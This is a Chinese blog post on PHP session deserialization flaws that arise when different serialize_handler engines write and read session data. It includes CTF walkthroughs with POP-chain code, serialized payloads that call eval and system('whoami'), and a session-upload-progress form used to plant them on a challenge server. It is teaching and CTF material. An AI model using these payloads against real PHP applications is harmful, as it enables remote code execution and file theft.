Hed9eh0g

前进的路上总是孤独的

SESSION反序列化问题

本文共计有7086个字

前言

记录一下php反序列化的一种方式——利用php对session的不同处理引擎所产生的反序列化漏洞问题。

简介

session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,会以文件的形式存储到指定目录(默认为/tmp)。

与之相关的配置在php.ini文件分别有着对应的选项设置:

  • session.save_path=”…/tmp” : 设置session的存储路径,默认会在/tmp下
  • session.save_handler=files    :表明session是以文件的方式来进行存储的
  • session.auto_start=0 :    表明默认不启动session,但我们可以用session_start()调用
  • session.serialize_handler=php :表明session的默认序列话引擎使用的是php序列话引擎

处理器

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

在PHP中默认使用的是PHP引擎(表中的第一个),如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存储结构

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

例如,在默认配置情况下,有如下代码:

<?php
session_start();
$_SESSION['name'] = 'Hed9eh0g';
var_dump();
?>

抓包查看session内容:

《SESSION反序列化问题》

session文件的存储路径:

《SESSION反序列化问题》

文件的内容:

《SESSION反序列化问题》

可以看到PHPSESSID的值是scial0m2bgthrji7k4k6crssev,而在/tmp下存储的文件名是sess_scial0m2bgthrji7k4k6crssev,文件的内容是name|s:8:”Hed9eh0g”;。name是键值,s:8:”Hed9eh0g”;是serialize(“Hed9eh0g”)的结果。

在php_serialize引擎下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'Hed9eh0g';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:”name”;s:8:”Hed9eh0g”;}。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'Hed9eh0g';
var_dump();
?>

SESSION文件内容(第一个字符是ASCII为4的字符,在浏览器中打印不出来,它也是序列化的一部分,这是由于name的长度是4):

《SESSION反序列化问题》

利用原理

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'Hed9eh0g';
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
var_dump();
?>

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是:a:2:{s:4:”name”;s:8:”Hed9eh0g”;s:4:”ryat”;s:24:”|O:11:”PeopleClass”:0:{}”;}

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
  'a:1:{s:8:"Hed9eh0g";s:24:"' => 
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:8:”Hed9eh0g”;s:24:”作为SESSION的key,将O:11:”PeopleClass”:0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在session1.php和session2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞。
session1.php,使用php_serialize来处理session:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["Hed9eh0g"]=$_GET["a"];

session2.php,使用php来处理session:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
    }
}

当访问session1.php时,提交如下的数据:

http://127.0.0.1/session1.php?a=|O:4:"test":1:{s:2:"hi";s:16:"echo "Hed9eh0g";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问session2.php时,页面输出Hed9eh0g,成功执行了我们构造的函数。因为在访问session2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化test对象,最后就会执行析构函数中的eval()方法。

至此成功利用反序列化漏洞执行了我们所指定的恶意代码。

CTF

2016安恒杯

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}

class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}

class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}

?>

i.php

<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

phpinfo.php

<?php
    session_start();
    require("./class.php");
    $f3 = new foo3();
    $f3->varr = "phpinfo();";
    $f3->execute();
?>

可以看到,i.php中用的是php处理器。

另外可以访问phpinfo.php查看配置信息:

《SESSION反序列化问题》

默认是采用php处理器处理session,session.upload_progress.cleanup配置为Off,session.upload_progress.enabled配置为On。

说下session.upload_progress.enabled,官方文档

当它为开启状态时,PHP能够在每一个文件上传时监测上传进度。当一个上传在处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在\$_SESSION中获得。当PHP检测到这种POST请求时,它会在\$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。

当前代码的话没有向服务器提交数据,但是现在session.upload_progress.enabled是开启的,所以可以通过上传文件,从而在session文件中写入数据。

也就是说,利用点是通过session.upload_progress.enabled来上传文件向session文件中写入php_serialize处理器格式的内容,从而与i.php中php处理器不同进而造成session反序列化漏洞的存在。

思路:

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
poc.php

<?php
class foo3{
        public $varr='echo "Hed9eh0g";';
        function execute(){
                eval($this->varr);
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = new foo3();
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
}

class foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}


$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo “Hed9eh0g”。最终得到的poc是:

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:16:"echo "Hed9eh0g";";}}}

这样当上面的序列化的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo “Hed9eh0g”;的方法了。

写入的方式就是利用PHP中Session Upload Progress来进行设置,构造一个form.html:

<form action="index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

Burpsuite截断该form.html发送的POST请求,在PHP_SESSION_UPLOAD_PROGRESS一栏中的值加上刚才poc.php生成的poc就能够成功执行命令了。

由于题目年代久远,这里只能放上别人记录的图片了,与我刚才讲的思路区别只在于执行命令的不同:

当执行命令为system(‘whoami’);时:

《SESSION反序列化问题》

当执行命令为system(“ipconfig”);时:

《SESSION反序列化问题》

jarvisoj PHPINFO

《SESSION反序列化问题》

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

开头将session的解析引擎定义为了php。

访问:http://web.jarvisoj.com:32784/index.php?phpinfo 可看到session.upload_progress.enabled,session.upload_progress.cleanup都符合条件。

于是构造一个form.html:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

poc.php:

<?php
class OowoO
{
    public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>

生成序列化的值为:

O:5:”OowoO”:1:{s:4:”mdzz”;s:22:”print_r(system(‘ls’));”;}

在上传的时候抓包,修改上传的内容为序列化的值前加一个“|”。即可遍历目录:

《SESSION反序列化问题》

再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/,构造得到payload:

O:5:”OowoO”:1:{s:4:”mdzz”;s:88:”print_r(file_get_contents(‘/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php’));”;}

得到flag:

《SESSION反序列化问题》

参考文章

https://xz.aliyun.com/t/6454#toc-12

https://www.mi1k7ea.com/2019/04/21/PHP-session%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注